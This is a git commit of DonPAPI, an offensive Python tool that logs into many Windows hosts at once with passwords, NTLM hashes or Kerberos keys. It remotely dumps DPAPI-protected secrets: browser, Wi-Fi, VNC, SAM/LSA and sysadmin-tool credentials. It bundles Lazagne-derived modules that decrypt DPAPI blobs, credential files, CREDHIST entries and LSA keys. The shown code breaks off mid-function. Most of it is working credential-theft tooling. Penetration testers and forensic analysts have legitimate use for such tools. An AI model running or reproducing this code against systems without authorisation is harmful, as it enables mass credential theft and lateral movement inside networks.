beta release commit

This commit is contained in:
Pierre-Alexandre Vandewoestyne 2021-09-27 11:20:43 +02:00
commit f27f527410
197 changed files with 32215 additions and 0 deletions

275
DonPAPI.py Normal file
View File

@ -0,0 +1,275 @@
#!/usr/bin/env python
# coding:utf-8
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Dump DPAPI secrets remotely
#
# Author:
# PA Vandewoestyne
# Credits :
# Alberto Solino (@agsolino)
# Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented - <3 your code)
# Alesandro Z (@) & everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur.
# dirkjanm @dirkjanm for the base code of adconnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. i learned so much on so many subjects thanks to you. <3
# @Byt3bl3d33r for CME (lots of inspiration and code comes from CME : https://github.com/byt3bl33d3r/CrackMapExec )
# All the Team of @LoginSecurite for their help in debugging my shity code (special thanks to @layno & @HackAndDo for that)
#
from __future__ import division
from __future__ import print_function
import sys
import logging
import argparse,os,re,json,sqlite3
from impacket import version
from myseatbelt import MySeatBelt
import concurrent.futures
from lib.toolbox import split_targets,bcolors
from database import database, reporting
global assets
assets={}
def main():
global assets
# Init the example's logger theme
#logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "SeatBelt implementation.")
parser.add_argument('target', nargs='?', action='store', help='[[domain/]username[:password]@]<targetName or address>',default='')
parser.add_argument('-credz', action='store', help='File containing multiple user:password or user:hash for masterkeys decryption')
parser.add_argument('-pvk', action='store', help='input backupkey pvk file')
parser.add_argument('-d','--debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-t', default='30', metavar="number of threads", help='number of threads')
parser.add_argument('-o', '--output_directory', default='./', help='output log directory')
group = parser.add_argument_group('authentication')
group.add_argument('-H','--hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (1128 or 256 bits)')
group.add_argument('-local_auth', action="store_true", help='use local authentification', default=False)
group.add_argument('-laps', action="store_true", help='use LAPS to request local admin password', default=False)
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server')
group = parser.add_argument_group('Reporting')
group.add_argument('-R', '--report', action="store_true", help='Only Generate Report on the scope', default=False)
group.add_argument('--type', action="store", help='only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox')
group.add_argument('-u','--user', action="store_true", help='only this username')
group.add_argument('--target', action="store_true", help='only this target (url/IP...)')
group = parser.add_argument_group('attacks')
group.add_argument('--no_browser', action="store_true", help='do not hunt for browser passwords', default=False)
group.add_argument('--no_dpapi', action="store_true", help='do not hunt for DPAPI secrets', default=False)
group.add_argument('--no_vnc', action="store_true", help='do not hunt for VNC passwords', default=False)
group.add_argument('--no_remoteops', action="store_true", help='do not hunt for SAM and LSA with remoteops', default=False)
group.add_argument('--GetHashes', action="store_true", help="Get all users Masterkey's hash & DCC2 hash", default=False)
group.add_argument('--no_recent', action="store_true", help="Get recent files", default=False)
group.add_argument('--no_sysadmins', action="store_true", help="Get sysadmins stuff (mRemoteNG, vnc, keepass, lastpass ...)", default=False)
group.add_argument('--from_file', action='store', help='Give me the export of ADSyncQuery.exe ADSync.mdf to decrypt ADConnect password', default='adsync_export')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
#logging.basicConfig(filename='debug.log', level=logging.DEBUG)
if options.debug is True:
logging.basicConfig(format='%(asctime)s.%(msecs)03d %(levelname)s {%(module)s} [%(funcName)s] %(message)s',
datefmt='%Y-%m-%d,%H:%M:%S', level=logging.DEBUG,
handlers=[logging.FileHandler("debug.log"), logging.StreamHandler()])
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.basicConfig(format='%(levelname)s %(message)s',
datefmt='%Y-%m-%d,%H:%M:%S', level=logging.DEBUG,
handlers=[logging.FileHandler("debug.log"), logging.StreamHandler()])
logging.getLogger().setLevel(logging.INFO)
options.domain, options.username, options.password, options.address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#Load Configuration and add them to the options
load_configs(options)
#init database?
first_run(options)
#
if options.report is not None and options.report!=False:
options.report = True
#In case the password contains '@'
if '@' in options.address:
options.password = options.password + '@' + options.address.rpartition('@')[0]
options.address = options.address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = options.address
if options.domain is None:
options.domain = ''
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
options.password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
if ':' in options.hashes:
options.lmhash, options.nthash = options.hashes.split(':')
else:
options.lmhash = 'aad3b435b51404eeaad3b435b51404ee'
options.nthash = options.hashes
else:
options.lmhash = ''
options.nthash = ''
credz={}
if options.credz is not None:
if os.path.isfile(options.credz):
with open(options.credz, 'rb') as f:
file_data = f.read().replace(b'\x0d', b'').split(b'\n')
for cred in file_data:
if b':' in cred:
tmp_username, tmp_password = cred.split(b':')
#Add "history password to account pass to test
if b'_history' in tmp_username:
tmp_username=tmp_username[:tmp_username.index(b'_history')]
if tmp_username.decode('utf-8') not in credz:
credz[tmp_username.decode('utf-8')] = [tmp_password.decode('utf-8')]
else:
credz[tmp_username.decode('utf-8')].append(tmp_password.decode('utf-8'))
logging.info(f'Loaded {len(credz)} user credentials')
else:
logging.error(f"[!]Credential file {options.credz} not found")
#Also adding submited credz
if options.username not in credz:
if options.password!='':
credz[options.username] = [options.password]
if options.nthash!='':
credz[options.username] = [options.nthash]
else:
if options.password!='':
credz[options.username].append(options.password)
if options.nthash!='':
credz[options.username].append(options.nthash)
options.credz=credz
targets = split_targets(options.target_ip)
logging.info("Loaded {i} targets".format(i=len(targets)))
if not options.report :
try:
with concurrent.futures.ThreadPoolExecutor(max_workers=int(options.t)) as executor:
executor.map(seatbelt_thread, [(target, options, logging) for target in targets])
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
#print("ENDING MAIN")
my_report = reporting(sqlite3.connect(options.db_path), logging, options, targets)
my_report.generate_report()
if options.GetHashes:
my_report.export_hashes()
my_report.export_dcc2_hashes()
#attendre la fin de toutes les threads ?
if options.report :
try:
my_report = reporting(sqlite3.connect(options.db_path), logging,options,targets)
my_report.generate_report()
if options.GetHashes:
my_report.export_MKF_hashes()
my_report.export_dcc2_hashes()
except Exception as e:
logging.error(str(e))
def load_configs(options):
seatbelt_path = os.path.dirname(os.path.realpath(__file__))
config_file=os.path.join(os.path.join(seatbelt_path,"config"),"seatbelt_config.json")
with open(config_file,'rb') as config:
config_parser = json.load(config)
options.db_path=config_parser['db_path']
options.db_name = config_parser['db_name']
options.workspace=config_parser['workspace']
def first_run(options):
#Create directory if needed
if not os.path.exists(options.output_directory) :
os.mkdir(options.output_directory)
db_path=os.path.join(options.output_directory,options.db_name)
logging.debug(f"Database file = {db_path}")
options.db_path = db_path
if not os.path.exists(options.db_path):
logging.info(f'Initializing database {options.db_path}')
conn = sqlite3.connect(options.db_path,check_same_thread=False)
c = conn.cursor()
# try to prevent some of the weird sqlite I/O errors
c.execute('PRAGMA journal_mode = OFF')
c.execute('PRAGMA foreign_keys = 1')
database(conn, logging).db_schema(c)
#getattr(protocol_object, 'database').db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def seatbelt_thread(datas):
global assets
target,options, logger=datas
logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target))
try:
mysb = MySeatBelt(target,options,logger)
if mysb.admin_privs:
mysb.do_test()
# mysb.run()
#mysb.quit()
else:
logging.debug("[*] No ADMIN account on target {ip}".format(ip=target))
#assets[target] = mysb.get_secrets()
logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target))
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
def export_results_seatbelt(output_dir=''):
global assets
users={}
logging.info(f"[+]Gathered infos from {len(assets)} targets")
f = open(os.path.join(output_dir, f'SeatBelt_secrets_all.log'), 'wb')
for machine_ip in assets:
for user in assets[machine_ip]:
if user not in users:
users[user]=[]
for secret in assets[machine_ip][user]:
f.write(f"[{machine_ip}//{user}] {assets[machine_ip][user][secret]}\n".encode('utf-8'))
if assets[machine_ip][user][secret] not in users[user]:
users[user].append(assets[machine_ip][user][secret])
#
f.close()
f = open(os.path.join(output_dir, f'SeatBelt_secrets.log'), 'wb')
for user in users:
for secret in users[user][secret]:
f.write(f"[{user}]\n{users[user][secret]}\n".encode('utf-8'))
f.close()
if __name__ == "__main__":
main()
#GetDomainBackupKey : dpapi.py backupkeys credz@DC.local --export

View File

@ -0,0 +1,13 @@
{
"workspace":"default",
"db_path":"seatbelt.db",
"db_name":"seatbelt.db",
"css":"res\\css\\style.css",
"mychartjs":"res\\css\\Chart.js",
"logo_login": "res\\Logo_LOGIN.PNG",
"logo_link": "res\\link.png",
"BH_neo4j_ip": "127.0.0.1",
"BH_neo4j_port": "7474",
"BH_neo4j_user": "neo4j",
"BH_neo4j_password": "neo4j"
}

1401
database.py Normal file

File diff suppressed because it is too large Load Diff

0
lazagne/__init__.py Normal file
View File

View File

@ -0,0 +1 @@

View File

@ -0,0 +1,139 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code based from these two awesome projects:
- DPAPICK : https://bitbucket.org/jmichel/dpapick
- DPAPILAB : https://github.com/dfirfpi/dpapilab
"""
import codecs
import traceback
from .eater import DataStruct
from . import crypto
from lazagne.config.write_output import print_debug
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
from lazagne.config.crypto.pyDes import CBC
from lazagne.config.winstructure import char_to_int
AES_BLOCK_SIZE = 16
class DPAPIBlob(DataStruct):
"""Represents a DPAPI blob"""
def __init__(self, raw=None):
"""
Constructs a DPAPIBlob. If raw is set, automatically calls parse().
"""
self.version = None
self.provider = None
self.mkguid = None
self.mkversion = None
self.flags = None
self.description = None
self.cipherAlgo = None
self.keyLen = 0
self.hmac = None
self.strong = None
self.hashAlgo = None
self.hashLen = 0
self.cipherText = None
self.salt = None
self.blob = None
self.sign = None
self.cleartext = None
self.decrypted = False
self.signComputed = None
DataStruct.__init__(self, raw)
def parse(self, data):
"""Parses the given data. May raise exceptions if incorrect data are
given. You should not call this function yourself; DataStruct does
data is a DataStruct object.
Returns nothing.
"""
self.version = data.eat("L")
self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
# For HMAC computation
blobStart = data.ofs
self.mkversion = data.eat("L")
self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
self.flags = data.eat("L")
self.description = data.eat_length_and_string("L").replace(b"\x00", b"")
self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
self.keyLen = data.eat("L")
self.salt = data.eat_length_and_string("L")
self.strong = data.eat_length_and_string("L")
self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
self.hashLen = data.eat("L")
self.hmac = data.eat_length_and_string("L")
self.cipherText = data.eat_length_and_string("L")
# For HMAC computation
self.blob = data.raw[blobStart:data.ofs]
self.sign = data.eat_length_and_string("L")
def decrypt(self, masterkey, entropy=None, strongPassword=None):
"""Try to decrypt the blob. Returns True/False
:rtype : bool
:param masterkey: decrypted masterkey value
:param entropy: optional entropy for decrypting the blob
:param strongPassword: optional password for decrypting the blob
"""
for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]:
try:
sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword)
key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo)
if "AES" in self.cipherAlgo.name:
cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)],
iv=b"\x00" * int(self.cipherAlgo.ivLength))
self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in
range(0, len(self.cipherText), AES_BLOCK_SIZE)])
else:
cipher = self.cipherAlgo.module(key, CBC, b"\x00" * self.cipherAlgo.ivLength)
self.cleartext = cipher.decrypt(self.cipherText)
padding = char_to_int(self.cleartext[-1])
if padding <= self.cipherAlgo.blockSize:
self.cleartext = self.cleartext[:-padding]
# check against provided HMAC
self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob)
self.decrypted = self.signComputed == self.sign
if self.decrypted:
return True
except Exception:
print_debug('DEBUG', traceback.format_exc())
self.decrypted = False
return self.decrypted
def decrypt_encrypted_blob(self, mkp, entropy_hex=False):
"""
This function should be called to decrypt a dpapi blob.
It will find the associcated masterkey used to decrypt the blob.
:param mkp: masterkey pool object (MasterKeyPool)
"""
mks = mkp.get_master_keys(self.mkguid)
if not mks:
return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid)
entropy = None
if entropy_hex:
entropy = codecs.decode(entropy_hex, 'hex')
for mk in mks:
if mk.decrypted:
self.decrypt(mk.get_key(), entropy=entropy)
if self.decrypted:
return True, self.cleartext
return False, 'Unable to decrypt master key'

View File

@ -0,0 +1,108 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code based from these two awesome projects:
- DPAPICK : https://bitbucket.org/jmichel/dpapick
- DPAPILAB : https://github.com/dfirfpi/dpapilab
"""
from .blob import DPAPIBlob
from .eater import DataStruct
class CredentialDecryptedHeader(DataStruct):
"""
Header of the structure returned once the blob has been decrypted
Header of the CredentialDecrypted class
"""
def __init__(self, raw=None):
self.total_size = None
self.unknown1 = None
self.unknown2 = None
self.unknown3 = None
self.last_update = None
self.unknown4 = None
self.unk_type = None
self.unk_blocks = None
self.unknown5 = None
self.unknown6 = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.total_size = data.eat("L")
self.unknown1 = data.eat("L")
self.unknown2 = data.eat("L")
self.unknown3 = data.eat("L")
self.last_update = data.eat("Q")
self.unknown4 = data.eat("L")
self.unk_type = data.eat("L")
self.unk_blocks = data.eat("L")
self.unknown5 = data.eat("L")
self.unknown6 = data.eat("L")
class CredentialDecrypted(DataStruct):
"""
Structure returned once the blob has been decrypted
"""
def __init__(self, raw=None):
self.header_size = None
self.header = None
self.domain = None
self.unk_string1 = None
self.unk_string2 = None
self.unk_string3 = None
self.username = None
self.password = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.header_size = data.eat("L")
if self.header_size > 0:
self.header = CredentialDecryptedHeader()
self.header.parse(data.eat_sub(self.header_size - 4))
self.domain = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.unk_string1 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.unk_string2 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.unk_string3 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.username = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.password = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
class CredFile(DataStruct):
"""
Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\...
"""
def __init__(self, raw=None):
self.unknown1 = None
self.blob_size = None
self.unknown2 = None
self.blob = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.unknown1 = data.eat("L")
self.blob_size = data.eat("L")
self.unknown2 = data.eat("L")
if self.blob_size > 0:
self.blob = DPAPIBlob()
self.blob.parse(data.eat_sub(self.blob_size))
def decrypt(self, mkp, credfile):
ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp)
if ok:
cred_dec = CredentialDecrypted(msg)
if cred_dec.header.unk_type in [2, 3]:
return True, {
'File': credfile,
'Domain': cred_dec.domain,
'Username': cred_dec.username,
'Password': cred_dec.password,
}
elif cred_dec.header.unk_type == 2:
return False, 'System credential type'
else:
return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec)
else:
return ok, msg

View File

@ -0,0 +1,142 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code based from these two awesome projects:
- DPAPICK : https://bitbucket.org/jmichel/dpapick
- DPAPILAB : https://github.com/dfirfpi/dpapilab
"""
import struct
import hashlib
from . import crypto
from .eater import DataStruct
class RPC_SID(DataStruct):
"""
Represents a RPC_SID structure. See MSDN for documentation
"""
def __init__(self, raw=None):
self.version = None
self.idAuth = None
self.subAuth = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("B")
n = data.eat("B")
self.idAuth = struct.unpack(">Q", b"\0\0" + data.eat("6s"))[0]
self.subAuth = data.eat("%dL" % n)
def __str__(self):
s = ["S-%d-%d" % (self.version, self.idAuth)]
s += ["%d" % x for x in self.subAuth]
return "-".join(s)
class CredhistEntry(DataStruct):
def __init__(self, raw=None):
self.pwdhash = None
self.hmac = None
self.revision = None
self.hashAlgo = None
self.rounds = None
self.cipherAlgo = None
self.shaHashLen = None
self.ntHashLen = None
self.iv = None
self.userSID = None
self.encrypted = None
self.revision2 = None
self.guid = None
self.ntlm = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.revision = data.eat("L")
self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
self.rounds = data.eat("L")
data.eat("L")
self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
self.shaHashLen = data.eat("L")
self.ntHashLen = data.eat("L")
self.iv = data.eat("16s")
self.userSID = RPC_SID()
self.userSID.parse(data)
n = self.shaHashLen + self.ntHashLen
n += -n % self.cipherAlgo.blockSize
self.encrypted = data.eat_string(n)
self.revision2 = data.eat("L")
self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
def decrypt_with_hash(self, pwdhash):
"""
Decrypts this credhist entry with the given user's password hash.
Simply computes the encryption key with the given hash
then calls self.decrypt_with_key() to finish the decryption.
"""
self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID)))
def decrypt_with_key(self, enckey):
"""
Decrypts this credhist entry using the given encryption key.
"""
cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey,
self.iv, self.rounds)
self.pwdhash = cleartxt[:self.shaHashLen]
self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip(b"\x00")
if len(self.ntlm) != 16:
self.ntlm = None
class CredHistFile(DataStruct):
def __init__(self, raw=None):
self.entries_list = []
self.entries = {}
self.valid = False
self.footmagic = None
self.curr_guid = None
DataStruct.__init__(self, raw)
def parse(self, data):
while True:
l = data.pop("L")
if l == 0:
break
self.addEntry(data.pop_string(l - 4))
self.footmagic = data.eat("L")
self.curr_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
def addEntry(self, blob):
"""
Creates a CredhistEntry object with blob then adds it to the store
"""
x = CredhistEntry(blob)
self.entries[x.guid] = x
self.entries_list.append(x)
def decrypt_with_hash(self, pwdhash):
"""
Try to decrypt each entry with the given hash
"""
if self.valid:
return
for entry in self.entries_list:
entry.decrypt_with_hash(pwdhash)
def decrypt_with_password(self, password):
"""
Decrypts this credhist entry with the given user's password.
Simply computes the password hash then calls self.decrypt_with_hash()
"""
self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest())

View File

@ -0,0 +1,366 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#############################################################################
# ##
# This file is part of DPAPIck ##
# Windows DPAPI decryption & forensic toolkit ##
# ##
# ##
# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
# This document is the property of Cassidian SAS, it may not be copied or ##
# circulated without prior licence ##
# ##
# Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
# ##
# This program is distributed under GPLv3 licence (see LICENCE.txt) ##
# ##
#############################################################################
import array
import hashlib
import hmac
import struct
import sys
from lazagne.config.crypto.rc4 import RC4
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB
from lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC
from lazagne.config.winstructure import char_to_int, chr_or_byte
try:
xrange
except NameError:
xrange = range
AES_BLOCK_SIZE = 16
class CryptoAlgo(object):
"""
This class is used to wrap Microsoft algorithm IDs with M2Crypto
"""
class Algo(object):
def __init__(self, data):
self.data = data
def __getattr__(self, attr):
if attr in self.data:
return self.data[attr]
raise AttributeError(attr)
_crypto_data = {}
@classmethod
def add_algo(cls, algnum, **kargs):
cls._crypto_data[algnum] = cls.Algo(kargs)
if 'name' in kargs:
kargs['ID'] = algnum
cls._crypto_data[kargs['name']] = cls.Algo(kargs)
@classmethod
def get_algo(cls, algnum):
return cls._crypto_data[algnum]
def __init__(self, i):
self.algnum = i
self.algo = CryptoAlgo.get_algo(i)
name = property(lambda self: self.algo.name)
module = property(lambda self: self.algo.module)
keyLength = property(lambda self: self.algo.keyLength / 8)
ivLength = property(lambda self: self.algo.IVLength / 8)
blockSize = property(lambda self: self.algo.blockLength / 8)
digestLength = property(lambda self: self.algo.digestLength / 8)
def do_fixup_key(self, key):
try:
return self.algo.keyFixup.__call__(key)
except AttributeError:
return key
def __repr__(self):
return "%s [%#x]" % (self.algo.name, self.algnum)
def des_set_odd_parity(key):
_lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19,
19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37,
37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55,
55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73,
73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91,
91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107,
107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121,
121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,
134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148,
148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162,
162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176,
176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191,
191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205,
205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218,
218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233,
233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,
247, 248, 248, 251, 251, 253, 253, 254, 254]
tmp = array.array("B")
tmp.fromstring(key)
for i, v in enumerate(tmp):
tmp[i] = _lut[v]
return tmp.tostring()
CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des,
keyFixup=des_set_odd_parity)
CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des,
keyFixup=des_set_odd_parity)
CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128)
CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128)
CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128)
CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128)
CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512)
CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024)
CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024)
def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
"""
Computes the decryption key for XP DPAPI blob, given the masterkey and optional information.
This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC.
Instead of updating the inner pad, we update the outer pad...
This algorithm is also used when checking the HMAC for integrity after decryption
:param masterkey: decrypted masterkey (should be 64 bytes long)
:param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
:param entropy: this is the optional entropy from CryptProtectData() API
:param strongPassword: optional password used for decryption or the blob itself
:param verifBlob: optional encrypted blob used for integrity check
:returns: decryption key
:rtype : str
"""
if len(masterkey) > 20:
masterkey = hashlib.sha1(masterkey).digest()
masterkey += b"\x00" * int(hashAlgo.blockSize)
ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
digest = hashlib.new(hashAlgo.name)
digest.update(ipad)
digest.update(nonce)
tmp = digest.digest()
digest = hashlib.new(hashAlgo.name)
digest.update(opad)
digest.update(tmp)
if entropy is not None:
digest.update(entropy)
if strongPassword is not None:
strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
digest.update(strongPassword)
elif verifBlob is not None:
digest.update(verifBlob)
return digest.digest()
def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
"""
Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information.
This implementation relies on an RFC compliant HMAC implementation
This algorithm is also used when checking the HMAC for integrity after decryption
:param masterkey: decrypted masterkey (should be 64 bytes long)
:param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
:param entropy: this is the optional entropy from CryptProtectData() API
:param strongPassword: optional password used for decryption or the blob itself
:param verifBlob: optional encrypted blob used for integrity check
:returns: decryption key
:rtype : str
"""
if len(masterkey) > 20:
masterkey = hashlib.sha1(masterkey).digest()
digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name))
digest.update(nonce)
if entropy is not None:
digest.update(entropy)
if strongPassword is not None:
strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
digest.update(strongPassword)
elif verifBlob is not None:
digest.update(verifBlob)
return digest.digest()
def CryptDeriveKey(h, cipherAlgo, hashAlgo):
"""
Internal use. Mimics the corresponding native Microsoft function
"""
if len(h) > hashAlgo.blockSize:
h = hashlib.new(hashAlgo.name, h).digest()
if len(h) >= cipherAlgo.keyLength:
return h
h += b"\x00" * int(hashAlgo.blockSize)
ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest()
k = k[:cipherAlgo.keyLength]
k = cipherAlgo.do_fixup_key(k)
return k
def decrypt_lsa_key_nt5(lsakey, syskey):
"""
This function decrypts the LSA key using the syskey
"""
dg = hashlib.md5()
dg.update(syskey)
for i in xrange(1000):
dg.update(lsakey[60:76])
arcfour = RC4(dg.digest())
deskey = arcfour.encrypt(lsakey[12:60])
return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)]
def decrypt_lsa_key_nt6(lsakey, syskey):
"""
This function decrypts the LSA keys using the syskey
"""
dg = hashlib.sha256()
dg.update(syskey)
for i in range(1000):
dg.update(lsakey[28:60])
k = AESModeOfOperationECB(dg.digest())
keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)])
size = struct.unpack_from("<L", keys)[0]
keys = keys[16:16 + size]
currentkey = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[4:20])
nb = struct.unpack("<L", keys[24:28])[0]
off = 28
kd = {}
for i in range(nb):
g = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[off:off + 16])
t, l = struct.unpack_from("<2L", keys[off + 16:])
k = keys[off + 24:off + 24 + l]
kd[g] = {"type": t, "key": k}
off += 24 + l
return (currentkey, kd)
def SystemFunction005(secret, key):
"""
This function is used to decrypt LSA secrets.
Reproduces the corresponding Windows internal function.
Taken from creddump project https://code.google.com/p/creddump/
"""
decrypted_data = ''
j = 0
algo = CryptoAlgo(0x6603)
for i in range(0, len(secret), 8):
enc_block = secret[i:i + 8]
block_key = key[j:j + 7]
des_key = []
des_key.append(char_to_int(block_key[0]) >> 1)
